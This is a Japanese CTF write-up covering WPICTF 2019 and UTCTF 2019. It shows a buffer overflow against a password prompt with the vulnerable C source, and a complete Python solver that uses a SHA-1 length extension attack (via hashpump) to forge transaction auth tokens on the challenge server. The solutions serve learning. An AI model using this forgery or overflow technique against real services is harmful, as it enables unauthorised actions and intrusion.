WPICTF 2019 Write-up
- はじめに
- 成績
- can you read [Intro, 1pts, 496solves]
- Discord [Intro, 5pts, 370solves]
- Source pt1 [Pwn, 100pts, 132solves]
- strings [Reversing, 50pts, 398solves]
- WebInspect [Web, 25pts, 465solves]
- suckmore-shell [Linux, 100pts, 210solves]
- zoomercrypt [Cryptography, 50pts, 91solves]
- jocipher [Cryptography, 100pts, 190solves]
- bogged [Cryptography, 150pts, 23solves]
- まとめ
はじめに
2019/04/13 ~ 2019/04/15 に開催されたWPICTFに1人で参加しました.
成績
9問解いて88位(1問以上正解した586チーム中)でした.
can you read [Intro, 1pts, 496solves]
WPI{y3s_y0u_cAN_r33d}
All flags, unless otherwise stated, will be in the form WPI{S0M3_flag_here}
WPI{y3s_y0u_cAN_r33d}
Discord [Intro, 5pts, 370solves]
Look at the pinned msgs.
WPI{Welcome_to_our_discord}
Source pt1 [Pwn, 100pts, 132solves]
ssh source@source.wpictf.xyz -p 31337 (or 31338 or 31339).
Password is sourcelockerHere is your babybuff.
アプローチ:BOF
ssh
するとhttps://www.imdb.com/title/tt0945513/にアクセスするためのパスワードの入力を求められます.
> ssh source@source.wpictf.xyz -p 31337 source@source.wpictf.xyz's password: Enter the password to get access to https://www.imdb.com/title/tt0945513/ A Pasword auth failed exiting Connection to source.wpictf.xyz closed.
babybuff
とか書かれているので何も考えずにBOFしそうな文字列を流します.
> ssh source@source.wpictf.xyz -p 31337 source@source.wpictf.xyz's password: Enter the password to get access to https://www.imdb.com/title/tt0945513/ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
予想通りソースコードが表示されます.
#define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> //compiled with gcc source.c -o source -fno-stack-protector -no-pie //gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0 //flag for source1 is WPI{Typos_are_GrEaT!} int getpw(void){ int res = 0; char pw[100]; fgets(pw, 0x100, stdin); *strchrnul(pw, '\n') = 0; if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1; return res; } char *lesscmd[] = {"less", "source.c", 0}; int main(void){ setenv("LESSSECURE", "1", 1); printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n"); if(!getpw()){ printf("Pasword auth failed\nexiting\n"); return 1; } execvp(lesscmd[0], lesscmd); return 0; }
fgets(pw, 0x100, stdin);
に不自然なtypoがありますね.
WPI{Typos_are_GrEaT!}
strings [Reversing, 50pts, 398solves]
A handy tool for your RE efforts!
アプローチ:strings
> file strings strings: ELF 64-bit LSB shared object x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4e539e560b4d7729f7926e1b594dc623ce4c8e0d, not stripped
> strings strings | grep WPI WPI{ warbleglarblesomejunkWPI{What_do_you_mean_I_SEE_AHH_SKI}0x13376969
WPI{What_do_you_mean_I_SEE_AHH_SKI}
WebInspect [Web, 25pts, 465solves]
Something is lurking at https://www.wpictf.xyz
WPI{Inspect0r_Gadget}
suckmore-shell [Linux, 100pts, 210solves]
Here at Suckmore Software we are committed to delivering a truly unparalleled user experience. Help us out by testing our latest project.
- ssh ctf@107.21.60.114
- pass: i'm a real hacker nowBrought to you by acurless and SuckMore Software, a division of WPI Digital Holdings Ltd.
アプローチ:unalias
ssh
するとsuckmore shell
に繋がります.
> ssh ctf@107.21.60.114 ctf@107.21.60.114's password: SuckMORE shell v1.0.1. Note: for POSIX support update to v1.1.0 suckmore>env HOSTNAME=7eaed2c0fee9 PWD=/ HOME=/home/ctf FBR=f DISTTAG=fcontainer FGC=f TERM=xterm SHLVL=2 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PS1=suckmore> _=/usr/bin/env
いくつかのコマンドを実行すると挙動がおかしいことに気が付きます(ls
してるのにsleep
のhelp
を見ろとか言われているので).
suckmore>ls suckmore>ls -a sleep: invalid option -- 'a' Try 'sleep --help' for more information. suckmore>pwd Linux suckmore>uname Linux
alias
を確認します.
suckmore>alias alias bash='sh' alias cat='sleep 1 && vim' alias cd='cal' alias cp='grep' alias dnf='' alias find='w' alias less='echo "We are suckMORE, not suckless"' alias ls='sleep 1' alias more='echo "SuckMORE shell, v1.0.1, (c) SuckMore Software, a division of WPI Digital Holdings Ltd."' alias nano='touch' alias pwd='uname' alias rm='mv /u/' alias sh='echo "Why would you ever want to leave suckmore shell?"' alias sl='ls' alias vi='touch' alias vim='touch' alias which='echo "Not Found"'
unalias
して元に戻します.
suckmore>unalias pwd suckmore>unalias cd suckmore>unalias ls
$HOME
に移動してflag
を探します.
suckmore>pwd / suckmore>cd $HOME suckmore>pwd /home/ctf suckmore>ls bash: /usr/bin/ls: Permission denied
ls
が使えないらしいのでgrep
で探します.
suckmore>grep -r "WPI{" ./ ./flag:WPI{bash_sucks0194342}
WPI{bash_sucks0194342}
zoomercrypt [Cryptography, 50pts, 91solves]
My daughter is using a coded language to hide her activities from us!!!! Please, help us find out what she is hiding!
アプローチ:換字式暗号 + エスパー
絵文字が換字式暗号に見えるのでdecode
します.
以下のスクリプトで絵文字をASCII
に置き換えます.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- if __name__ == '__main__': emoji_cipher = '😃😁😕😗😈😗😇😋😄😗😆😓😄😓😂😈😎😃😃😁😓😆😇' emoji_translated = {} ascii_cipher = '' x = 0 for emoji in emoji_cipher: if emoji not in emoji_translated: emoji_translated[emoji] = chr(65 + x) x += 1 for emoji in emoji_cipher: ascii_cipher += emoji_translated[emoji] print(ascii_cipher)
> python solve.py ABCDEDFGHDIJHJKELAABJIF
換字式暗号のソルバを使うためにスペースを挿入してあげます.
ABC DE DF GHD IJHJKE LAABJIF
ここまで来たらquipqiup
で解けます.
OMG IT IS WPI REPENT BOOMERS
あとはフラグの形式に直してあげます.
WPI{REPENT_ZOOMERS}
ZOOMER
はスラングっぽいのでquipqiup
では出力されないっぽい
jocipher [Cryptography, 100pts, 190solves]
Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag!
アプローチ:uncompyle
バイトコンパイルされたPython
ファイルが渡されます.
> file jocipher.pyc jocipher.pyc: python 2.7 byte-compiled
Python
のバイトコンパイルは簡単に復元できるのでuncompyle
を使って元に戻します(pyc
にソース保護は期待できない)
> uncompyle6 jocipher.pyc # uncompyle6 version 3.2.6 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.15 |Anaconda, Inc.| (default, May 1 2018, 18:37:05) # [GCC 4.2.1 Compatible Clang 4.0.1 (tags/RELEASE_401/final)] # Embedded file name: ./jocipher.py # Compiled at: 2019-03-02 02:41:21
import argparse, re num = '' first = '' second = '' third = '' def setup(): global first global num global second global third num += '1' num += '2' num += '3' num += '4' num += '5' num += '6' num += '7' num += '8' num += '9' num += '0' first += 'q' first += 'w' first += 'e' first += 'r' first += 't' first += 'y' first += 'u' first += 'i' first += 'o' first += 'p' second += 'a' second += 's' second += 'd' second += 'f' second += 'g' second += 'h' second += 'j' second += 'k' second += 'l' third += 'z' third += 'x' third += 'c' third += 'v' third += 'b' third += 'n' third += 'm' def encode(string, shift): result = '' for i in range(len(string)): char = string.lower()[i] if char in num: new_char = num[(num.index(char) + shift) % len(num)] result += new_char elif char in first: new_char = first[(first.index(char) + shift) % len(first)] if string[i].isupper(): result += new_char.upper() else: result += new_char elif char in second: new_char = second[(second.index(char) + shift) % len(second)] if string[i].isupper(): result += new_char.upper() else: result += new_char elif char in third: new_char = third[(third.index(char) + shift) % len(third)] if string[i].isupper(): result += new_char.upper() else: result += new_char else: result += char print result return 0 def decode(string, shift): result = '' shift = -1 * shift for i in range(len(string)): char = string.lower()[i] if char in num: new_char = num[(num.index(char) + shift) % len(num)] result += new_char elif char in first: new_char = first[(first.index(char) + shift) % len(first)] if string[i].isupper(): result += new_char.upper() else: result += new_char elif char in second: new_char = second[(second.index(char) + shift) % len(second)] if string[i].isupper(): result += new_char.upper() else: result += new_char elif char in third: new_char = third[(third.index(char) + shift) % len(third)] if string[i].isupper(): result += new_char.upper() else: result += new_char else: result += char print result return 0 def main(): parser = argparse.ArgumentParser() parser.add_argument('--string', '-s', type=str, required=True, help='the string to encode or decode') parser.add_argument('--shift', '-t', type=int, required=True, help='the shift value to use') parser.add_argument('--encode', '-e', required=False, action='store_true', help='encode the string') parser.add_argument('--decode', '-d', required=False, action='store_true', help='decode the string') args = parser.parse_args() setup() p = re.compile('[a-zA-Z0-9\\-{}]') if p.match(args.string) is not None: if args.encode: ret = encode(args.string, args.shift) else: if args.decode: ret = decode(args.string, args.shift) if ret is not 0: print 'Sorry, this cipher only uses the [a-zA-Z0-9\\-{}]' else: print 'Sorry, this cipher only uses the [a-zA-Z0-9\\-{}]' return if __name__ == '__main__': main()
なんとなくやってることは分かりました.
ただ,encoder
, decoder
を完全に理解するよりもシフトを総当たりした方が速く解けそうなので今回は総当たりします.
> for x in `seq 10`; do echo "$x"; python uncompyle_jocipher.py -s PIY{zsxh-sqrvufwh-nfgl} -t $x -d; done 1 OUT{mazg-apecydqg-bdfk} 2 IYR{nlmf-lowxtspf-vsdj} 3 UTE{bknd-kiqzraod-cash} 4 YRW{vjbs-jupmelis-xlag} 5 TEQ{chva-hyonwkua-zklf} 6 RWP{xgcl-gtibqjyl-mjkd} 7 EQO{zfxk-fruvphtk-nhjs} 8 WPI{mdzj-deycogrj-bgha} 9 QOU{nsmh-swtxifeh-vfgl} 10 PIY{bang-aqrzudwg-cdfk}
シフトを100まで増やしてWPI
でgrep
します.
> for x in `seq 100`; do echo "$x"; python uncompyle_jocipher.py -s PIY{zsxh-sqrvufwh-nfgl} -t $x -d; done | grep WPI WPI{mdzj-deycogrj-bgha} WPI{vsbh-seymofrh-xfgl} WPI{zaxg-aeyvodrg-ndfk} WPI{blnf-leyzosrf-csdj} WPI{xkcd-keyboard-mash} WPI{njms-jeyxolrs-vlag} WPI{chva-heynokra-zklf} WPI{mgzl-geycojrl-bjkd} WPI{vfbk-feymohrk-xhjs} WPI{zdxj-deyvogrj-ngha}
さらにここから目grep
でflag感
のある文字列を探します.
WPI{xkcd-keyboard-mash}
フラグを見てから元ネタを知りました.
bogged [Cryptography, 150pts, 23solves]
Two strange men called me last night. They call themselves the Bogdanoff twins. I don't know much about cryptocurrency can you help them with their scheme?
nc bogged.wpictf.xyz 31337 (or 31338 or 31339)
アプローチ:Length Extension Attack
nc
するとcryptowojak123
の通貨をnot_b0gdan0ff
に送金しろと言われます.
> nc bogged.wpictf.xyz 31337 BOGDANOFF: Bonjour... We have access to the Binance backdoor, and got you into a compromised teller station. We need you to steal tethered cryptocurrency from people's wallets. We were halted by an unfortunate countermeasure in the teller system, but we have an account ready to recieve the stolen crypto. Steal the currency from cryptowojak123. Transfer it to not_b0gdan0ff. Transfer everything... then we will kill him, and find another. Do not fail us. Welcome to the Binance Teller Terminal! Please remember to use admin-issued auth tokens with each account transfer! Either enter a command or one of the following keywords: accounts: List of accounts currently on the system. history: A history of prior terminal commands. help: A reminder on how to use this terminal. Command: >>>
とりあえずhelp
コマンドで概要を把握します.
Command: >>>help You may either withdraw funds from an account or deposit funds to an account. Withdraw with the following command: withdraw ACCOUNT_NAME Deposit with the following command: deposit ACCOUNT_NAME Commands may be chained, as follows: withdraw ACCOUNT_NAME;deposit ACCOUNT_NAME;... An authorization token unique to the command contents must exist for the transaction to succeed! (Sorry, but we have to protect from malicious employees.) Contact admin@dontactuallyemailthis.net to get auth tokens for different transfer commands!
help
を読む限り,withdraw cryptowojak123;deposit not_b0gdan0ff
を実行すればフラグが取れそうです.
Command: >>>withdraw cryptowojak123;deposit not_b0gdan0ff Auth token: >>>a Error: Auth token does not match provided command..
Auth token
が必要みたいです(helpにも書かれているのでそれはそう).
ここで,問題に添付されていたleaked_source.py
を確認してみます.
import hashlib secret = "" def generate_command_token(command, secret): hashed = hashlib.sha1(secret+command).hexdigest() return hashed def validate_input(command, token_in): token = hash_command(command, secret) if token == token_in: return True else: return False while(True): print("Command:") command = raw_input(">>>") print('Auth token:') token = raw_input(">>>") print if validate_input(command, token) == False: print("Error: Auth token does not match provided command..") else: execute_command(command) print
hash(salt || command)
が Auth token
になっていることが分かります.
つまり,withdraw cryptowojak123;deposit not_b0gdan0ff
を実行するには
hash(salt || 'withdraw cryptowojak123;deposit not_b0gdan0ff')
が必要になります.
しかし,salt
はsecret
になっているため,Auth token
は簡単には求められません.
このままではまだちょっと情報が足りないのでhistory
コマンドの結果を確認します.
Command: >>>history ///// TRANSACTION HISTORY ////////////////////////// Command: >>>withdraw john.doe Auth token: >>>b4c967e157fad98060ebbf24135bfdb5a73f14dc Action successful! Command: >>>withdraw john.doe;deposit xXwaltonchaingangXx Auth token: >>>455705a6756fb014a4cba2aa0652779008e36878 Action successful! Command: >>>withdraw cryptowojak123;deposit xXwaltonchaingangXx Auth token: >>>e429ffbfe7cabd62bda3589576d8717aaf3f663f Action successful! Command: >>>withdraw john.doe Auth token: >>>b4c967e157fad98060ebbf24135bfdb5a73f14dc Action successful! ////////////////////////////////////////////////////
コマンドの履歴だけではなく,Auth token
まで見れますね.
ここで怪しい点をまとめると以下のようになります.
- チェインルール
Auth token
の生成方法- 過去の
Auth token
が閲覧可能
したがって,Length Extension Attack
ができることが分かります.
Length Extension Attack
とはhash(salt || message1)
とmessage1
が既知のとき,hash(salt || message1 || message2)
が求められる攻撃です.
具体的には
message1
:withdraw john.doe
hash(salt || message1)
:b4c967e157fad98060ebbf24135bfdb5a73f14dc
message2
:;withdraw cryptowojak123;deposit not_b0gdan0ff
hash(salt || message1 || message2)
: 求めたいAuth token
のようになります.
実際にLength Extension Attack
を行うツールとしてはHashPump
を利用します.
以下ソルバです.
HashPump
を利用する際(Length Extension Attack
を行う際)にはsalt
の文字列長が必要になるのでそこは総当たりしてます.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from socket import * import subprocess import binascii def encodeHex(s): enc = '' xcode = '' for i in range(len(s)): if s[i] == '\\' and len(xcode) == 0: xcode += s[i] elif s[i] == 'x' and len(xcode) == 1: xcode += s[i] elif len(xcode) == 2: xcode += s[i] elif len(xcode) == 3: xcode += s[i] enc += xcode[2:] xcode = '' else: enc += '%02x' % ord(s[i]) return enc def LEA(cmd): proc = subprocess.run(cmd,stdout = subprocess.PIPE, stderr = subprocess.PIPE) ret = proc.stdout.decode('utf-8').split('\n') token = ret[0].encode('utf-8') init = ret[1][:17].encode('utf-8') lines = ret[1][17:].split(';') encHex = encodeHex(lines[0]) pad = binascii.unhexlify(encHex) append = (';' + lines[1] + ';' + lines[2]).encode('utf-8') data = init + pad + append print(data) return (data,token) def main(): cmd_format = ['hashpump', '-s', 'b4c967e157fad98060ebbf24135bfdb5a73f14dc', '-d', 'withdraw john.doe', '-k', 'n', '-a', ';withdraw cryptowojak123;deposit not_b0gdan0ff'] s = socket(AF_INET, SOCK_STREAM) s.connect(('bogged.wpictf.xyz', 31337)) # recv 'description' for _ in range(2): temp_rec = s.recv(1024).decode('utf-8') for n in range(1, 33): print('SALT Length: {}'.format(n)) cmd_format[6] = str(n) LEA_data, token = LEA(cmd_format) s.send(LEA_data + b'\n') # recv 'Auth token' temp_rec = s.recv(1024).decode('utf-8') print(temp_rec) s.send(token + b'\n') print(token) # recv '>>>' temp_rec = s.recv(1024).decode('utf-8') print(temp_rec) # recv 'result' temp_rec = s.recv(1024).decode('utf-8') print(temp_rec) if 'Error' not in temp_rec: break if __name__ == '__main__': main()
> python solve.py [snip] Command: >>> SALT Length: 16 b'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x08;withdraw cryptowojak123;deposit not_b0gdan0ff' Auth token: b'050a162f6ee310d345821b402f436b19677495dc' >>> A subcommand was unreadable... Action successful! Action successful! BOGDANOFF: The money is transferred. You have done... well. Your service has demonstrated your loyalty. You have truly swallowed the bogpill. You will be among the first to behold the enlightenment we will soon unleash. ... Quoi? You want more? ... Somewhere in the cosmos, a secret calls out to us, lost in the wrinkles of time. We shall relay this secret to you. Au revoir. WPI{duMp_33t_aNd_g@rn33sh_H1$_wAg3$}
WPI{duMp_33t_aNd_g@rn33sh_H1$_wAg3$}
まとめ
- 簡単な問題しか解けなくて悲しくなった
- Web, Cryptoがあと1問ずつ解けそうだったけど解けなかった(Write-up読んでべんきょうする)
- PlaidCTFが難しかったのでこっちに参加した
UTCTF2019 Write-up (供養)
- はじめに
- 成績
- [basics] forensics (Forensics, 100 pts, 437 solves)
- [basics] re (Reverse Engineering, 100 pts, 462 solves)
- [basics] crypto (Cryptography, 200 pts, 426 solves)
- Jacobi's Chance Encryption (Cryptography, 750 pts, 76 solves)
- まとめ
はじめに
2019/03/09 ~ 2019/03/11 に開催されたUTCTFに個人で少しだけ参加しました.
時間があまりとれなかったのでwarm-upとCrypto問中心に取り組みました.
成績
4問解いて187位 (1問以上解いた581チーム中) でした.
[basics] forensics (Forensics, 100 pts, 437 solves)
My friend said they hid a flag in this picture, but it's broken!
[sectret.jpg]
アプローチ:fileコマンド
とりあえずopen
しようとします.
> open secret.jpg
open
できなかったのでfile
でフォーマットを確認します.
> file secret.jpg secret.jpg: ASCII text
そもそも.jpg
ではなかったようです.
strings
で中身を確認します.
> strings secret.jpg utflag{d0nt_tru5t_f1l3_3xt3ns10n5}
utflag{d0nt_tru5t_f1l3_3xt3ns10n5}
[basics] re (Reverse Engineering, 100 pts, 462 solves)
I know there's a string in this binary somewhere.... Now where did I leave it?
[calculator]
アプローチ:strings
一応
> file calculator calculator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=12d2c94aa02e2ebaca1b262031791914ebae7936, not stripped
問題文の通りにやります.
> strings calculator | grep utflag utflag{str1ng5_15_4_h4ndy_t00l}
utflag{str1ng5_15_4_h4ndy_t00l}
[basics] crypto (Cryptography, 200 pts, 426 solves)
Can you make sense of this file?
binary.txt
アプローチ:base64 + rot15 + 換字式暗号
添付されていたbinary.txt
は以下のようになっています.
01010101 01101000 00101101 01101111 01101000 00101100 00100000 01101100 01101111 01101111 01101011 01110011 00100000 01101100 01101001 01101011 01100101 00100000 01110111 01100101 00100000 01101000 01100001 01110110 01100101 00100000 01100001 01101110 01101111 01110100 01101000 01100101 01110010 00100000 01100010 01101100 01101111 01100011 01101011 00100000 01101111 01100110 00100000 01110100 01100101 01111000 01110100 00101100 00100000 01110111 01101001 01110100 01101000 00100000 01110011 01101111 01101101 01100101 00100000 01110011 01101111 01110010 01110100 00100000 01101111 01100110 00100000 01110011 01110000 01100101 01100011 01101001 01100001 01101100 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00101110 00100000 01000011 01100001 01101110 00100000 01111001 01101111 01110101 00100000 01100110 01101001 01100111 01110101 01110010 01100101 00100000 01101111 01110101 01110100 00100000 01110111 01101000 01100001 01110100 00100000 01110100 01101000 01101001 01110011 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00100000 01101001 01110011 00111111 00100000 00101000 01101000 01101001 01101110 01110100 00111010 00100000 01101001 01100110 00100000 01111001 01101111 01110101 00100000 01101100 01101111 01101111 01101011 00100000 01100011 01100001 01110010 01100101 01100110 01110101 01101100 01101100 01111001 00101100 00100000 01111001 01101111 01110101 00100111 01101100 01101100 00100000 01101110 01101111 01110100 01101001 01100011 01100101 00100000 01110100 01101000 01100001 01110100 00100000 01110100 01101000 01100101 01110010 01100101 00100000 01101111 01101110 01101100 01111001 00100000 01100011 01101000 01100001 01110010 01100001 01100011 01110100 01100101 01110010 01110011 00100000 01110000 01110010 01100101 01110011 01100101 01101110 01110100 00100000 01100001 01110010 01100101 00100000 01000001 00101101 01011010 00101100 00100000 01100001 00101101 01111010 00101100 00100000 00110000 00101101 00111001 00101100 00100000 01100001 01101110 01100100 00100000 01110011 01101111 01101101 01100101 01110100 01101001 01101101 01100101 01110011 00100000 00101111 00100000 01100001 01101110 01100100 00100000 00101011 00101110 00100000 01010011 01100101 01100101 00100000 01101001 01100110 00100000 01111001 01101111 01110101 00100000 01100011 01100001 01101110 00100000 01100110 01101001 01101110 01100100 00100000 01100001 01101110 00100000 01100101 01101110 01100011 01101111 01100100 01101001 01101110 01100111 00100000 01110100 01101000 01100001 01110100 00100000 01101100 01101111 01101111 01101011 01110011 00100000 01101100 01101001 01101011 01100101 00100000 01110100 01101000 01101001 01110011 00100000 01101111 01101110 01100101 00101110 00101001 00001010 01010100 01101101 01010110 00110011 01001001 01000111 01001110 01101111 01011001 01010111 01111000 01110011 01011010 01010111 00110101 01101110 01011010 01010011 01000101 01100111 01010001 00110010 01000110 01110101 01001001 01001000 01101100 01110110 01100100 01010011 01000010 01101101 01100001 01010111 01100100 00110001 01100011 01101101 01010101 01100111 01100010 00110011 01010110 00110000 01001001 01001000 01100100 01101111 01011001 01011000 01010001 01101110 01100011 01111001 01000010 01101110 01100010 00110010 01101100 01110101 01011010 01111001 01000010 01110110 01100010 01101001 01000010 01101111 01011010 01011000 01001010 01101100 01010000 01111001 01000010 01001010 01100100 01000011 01000010 01110011 01100010 00110010 00111001 01110010 01100011 01111001 01000010 01110011 01100001 01010111 01110100 01101100 01001001 01001000 01010010 01101111 01011010 01010011 01000010 01110011 01011010 01011000 01010010 00110000 01011010 01011000 01001010 01111010 01001001 01000111 01000110 01111001 01011010 01010011 01000010 01111010 01100001 01000111 01101100 01101101 01100100 01000111 01010110 01101011 01001001 01000111 01001010 00110101 01001001 01001000 01001110 01110110 01100010 01010111 01010101 01100111 01011001 00110010 00111001 01110101 01100011 00110011 01010010 01101000 01100010 01101110 01010001 01110101 01001001 01000011 01101000 01101111 01100001 01010111 00110101 00110000 01001111 01101001 01000010 00110101 01100010 00110011 01010101 01100111 01100010 01010111 01101100 01101110 01100001 01001000 01010001 01100111 01100100 00110010 01000110 01110101 01100100 01000011 01000010 00110000 01100010 01111001 01000010 01111010 01100100 01000111 01000110 01111001 01100100 01000011 01000010 01110011 01100010 00110010 00111001 01110010 01100001 01010111 00110101 01101110 01001001 01001000 01010110 01110111 01001001 01000110 01001010 01110110 01100010 01010111 01000110 01110101 01001001 01001000 01000010 01101100 01100010 00110011 01000010 01110011 01011010 01010011 01101011 01110101 01000011 01101101 01110100 00110010 01011001 01101110 01001110 01111000 01100011 01101101 01010001 01110011 01001001 01000111 01101100 00110101 01011010 01010011 01100100 01101001 01100010 01111001 01000010 01110010 01100100 01101110 01100100 00110101 01011001 00110010 01010001 01100111 01011010 01001000 01001010 01110110 01011001 01101101 00111000 01101000 01001001 01000110 01101000 00110101 01011010 01111001 01000010 01110111 01100101 01010111 01001001 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01000010 01111010 01100101 01000111 01110100 00110010 01001001 01000011 01101000 01110010 01100101 01000111 00110100 01100111 01100100 00110010 01110100 01110000 01100010 01000111 00111000 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01001010 01110010 01011001 01101101 00110101 01110110 01011001 00110010 01010001 01110101 01001100 01101001 00110100 01110000 01001001 01001000 01110000 01110010 01011001 01101101 01010001 00110110 01001001 01000111 01110011 01100111 01011001 00110010 01010110 01110011 01011001 00110010 01010010 01111010 01011010 01000111 01010110 01101011 01100011 00110011 01101100 00110100 01001001 01000111 00110001 01111010 01100101 01101110 01001010 01110110 01011001 01101001 00110100 01100111 01010101 00110011 01100111 01100111 01011010 01001000 01001010 01110110 01001001 01001000 01000010 00110101 01100100 01101110 01011010 00110101 01011010 00110011 01001110 00110100 01100011 01010011 01000010 01101011 01100010 00110010 01101000 01101011 01001100 01000011 01000010 01010100 01001010 00110010 01011010 01110110 01001001 01000111 01010010 01110010 01100100 01010111 00111001 00110100 01001001 01001000 01100100 01110000 01001001 01001000 01100100 01110110 01011001 00110010 01001110 01110010 01100011 01010111 00111000 01100111 01100001 00110011 01101000 01110101 01001001 01000111 01001010 01110110 01100101 01101110 01011010 01110010 01100010 01010111 00111001 01110101 01001001 01000111 00111001 01101101 01100010 00110010 01001010 01110000 01001001 01000111 01110100 00110010 01100101 01101110 01001010 01110010 01100010 01000111 00111001 01101011 01100011 00110010 00110000 01100111 01100010 01011000 01001010 01110010 01011001 01101101 01110100 01110100 01011010 01000111 00111001 01101001 01001001 01000111 01100100 01111010 01011010 01001000 01001001 01100111 01100001 01111001 01000010 01110100 01100101 01010111 01001010 01101001 01100010 00110010 01001110 00110110 01100101 01011000 01101000 01110101 01100010 00110011 01101000 01110100 01100010 01111001 01000010 01101011 01100101 01010011 01000010 01110010 01001001 01000111 00110101 01111010 01100011 01001000 01000010 01110110 01011001 01101101 00111001 00110100 01011010 01000011 01000010 01110100 01100011 01101101 01110100 01101001 01100001 00110010 00110001 01101011 01100010 00110010 01001001 01100111 01001100 01010011 01000010 00110001 01100101 01001000 01101100 01101110 01100101 01000011 01000010 01110010 01011001 01111001 01000010 01110010 01001001 01000111 01001110 01101100 01100010 01000111 01001110 01101011 01100011 00110010 01010010 01101100 01011010 01001000 01001110 00110101 01100101 01000011 01000010 01110100 01100011 00110011 01110000 01111001 01100010 00110010 01001001 01110101 01001001 01000101 00110001 01110010 01100101 01000011 01000010 01110000 01100101 01010111 01010101 01100111 01100011 01001000 01001110 00110100 01100010 01101001 01000010 01101011 01100011 01101101 00111000 01100111 01100011 01001000 01001110 00110100 01100001 00110011 01011001 01100111 01100011 01001000 01011010 01110010 01100011 01010100 00111000 01100111 01100011 01101110 01001110 00110100 01011010 01000100 01101111 01100111 01010010 00110010 00111000 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110111 01100100 01101101 01110100 01111000 01001001 01001000 01001110 01101010 01001001 01001000 01000110 00110101 01100011 00110011 01101000 01111000 01001001 01000111 01010010 00110101 01001001 01000111 01111000 01110110 01001001 01001000 01101100 01110111 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110111 01100101 01010111 01001010 00110011 01100001 00110010 01010001 01100111 01011010 01010111 01010010 01110111 01100100 01101101 01110100 01111000 01100101 01111001 00110100 01110101 01001100 01101110 00110000 01100111 01001100 01010011 01000010 01101110 01100011 01101110 01001110 01110100 01100011 01101001 01000010 00110011 01100010 00110010 01110100 00110100 01011001 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01001000 01001110 01110111 01001001 01000111 01101100 00110101 01011010 01010011 01000010 01101010 01100010 00110010 00111000 01100111 01011010 01001000 01001010 01110010 01011010 01000011 01000010 00110110 01100001 00110010 01010010 01101011 01100010 00110010 01001010 00110100 01001100 01000011 01000010 01110000 01100101 01010111 01010101 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101110 01100011 01101101 01110100 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01110100 01100101 01010111 01001010 01101001 01100010 00110010 01001110 00110110 01100101 01011000 01101000 01110101 01100010 00110011 01101000 01110100 01100010 00110010 01001101 01100111 01100011 01001000 01101100 01101001 01001001 01000111 01010101 01110011 01001001 01000111 01010001 01110011 01001001 01001000 01000001 01110011 01001001 01001000 01011001 01100111 01100001 01111001 01110111 01100111 01100001 00110011 01101000 01110101 01001001 01001000 01000101 01100111 01100001 00110010 01001010 01110110 01001100 01101001 01000010 01001010 01100101 01010111 01010101 01100111 01100010 01010111 01110100 00110100 01001001 01001000 01110000 01101001 01100101 01010111 01111000 01110010 01100010 01001000 01011010 01110000 01001001 01000111 01100100 00110101 01011001 01101110 01010101 01100111 01100101 01010111 01010110 01101011 01001001 01000111 01010010 01111001 01100010 01111001 01000010 01101001 01100010 00110011 01100100 01110010 01100011 00110011 01101000 01111010 01100101 01001000 01000101 01100111 01100010 01011000 01001010 01110010 01011001 01101101 01110100 01110100 01011010 01000111 00111001 01101001 01011001 01111001 01000010 01110011 01100001 01010011 01000010 01101001 01100010 00110011 01110000 00110010 01100001 00110010 00110001 01111010 01100101 01001000 01000101 01100111 01011010 01001000 01001010 01110110 01100100 01111001 01000010 01110010 01100101 01000111 00110100 01100111 01100011 00110011 01101000 01110111 01100010 00110010 01001010 01101001 01100011 00110011 01101000 01111000 01001001 01000111 00110001 00110101 01100100 00110011 01100100 00110101 01100101 01000011 01000010 01101110 01100101 01010111 01001010 01110101 01011001 01111001 01000010 01111010 01100101 01000011 01000010 01101011 01100011 01101101 00111000 01100111 01010100 00110011 01101000 01111000 01100100 01101110 01001110 01101010 01100011 01101001 01000010 00110010 01100001 00110011 01101000 01111000 01011010 01010111 01110100 01111000 01100010 01111001 00110100 01100111 01010011 00110011 01101000 00110101 01011010 01001000 01001010 01110110 01011001 01101001 01000010 01111000 01011001 01101101 00111001 01110010 01011010 01000011 01000010 00110011 01100010 00110010 01010010 01111001 01100101 01010111 00110100 01100111 01100011 00110010 01001101 01100111 01011010 01001000 01101011 01100111 01011010 01010111 01001110 01110110 01001001 01001000 01000010 01101001 01100010 00110010 01000110 01101100 01100010 00110011 01101000 01110100 01100001 01010011 01000010 01110010 01100101 01000111 01110100 00110010 01100001 01010111 01001110 01111010 01011001 01111010 01101111 01100111 01011010 00110010 00111000 01100111 01100100 01011000 01101000 00110101 01011010 01111001 01000010 01101011 01100011 01101101 01110100 01101011 01001001 01000011 01100100 01110110 01001010 01111001 01000010 01101010 01100011 01101110 01101100 01101110 01011001 01111001 01000010 01101100 01100101 01101001 01000010 00110011 01100101 01010111 01001110 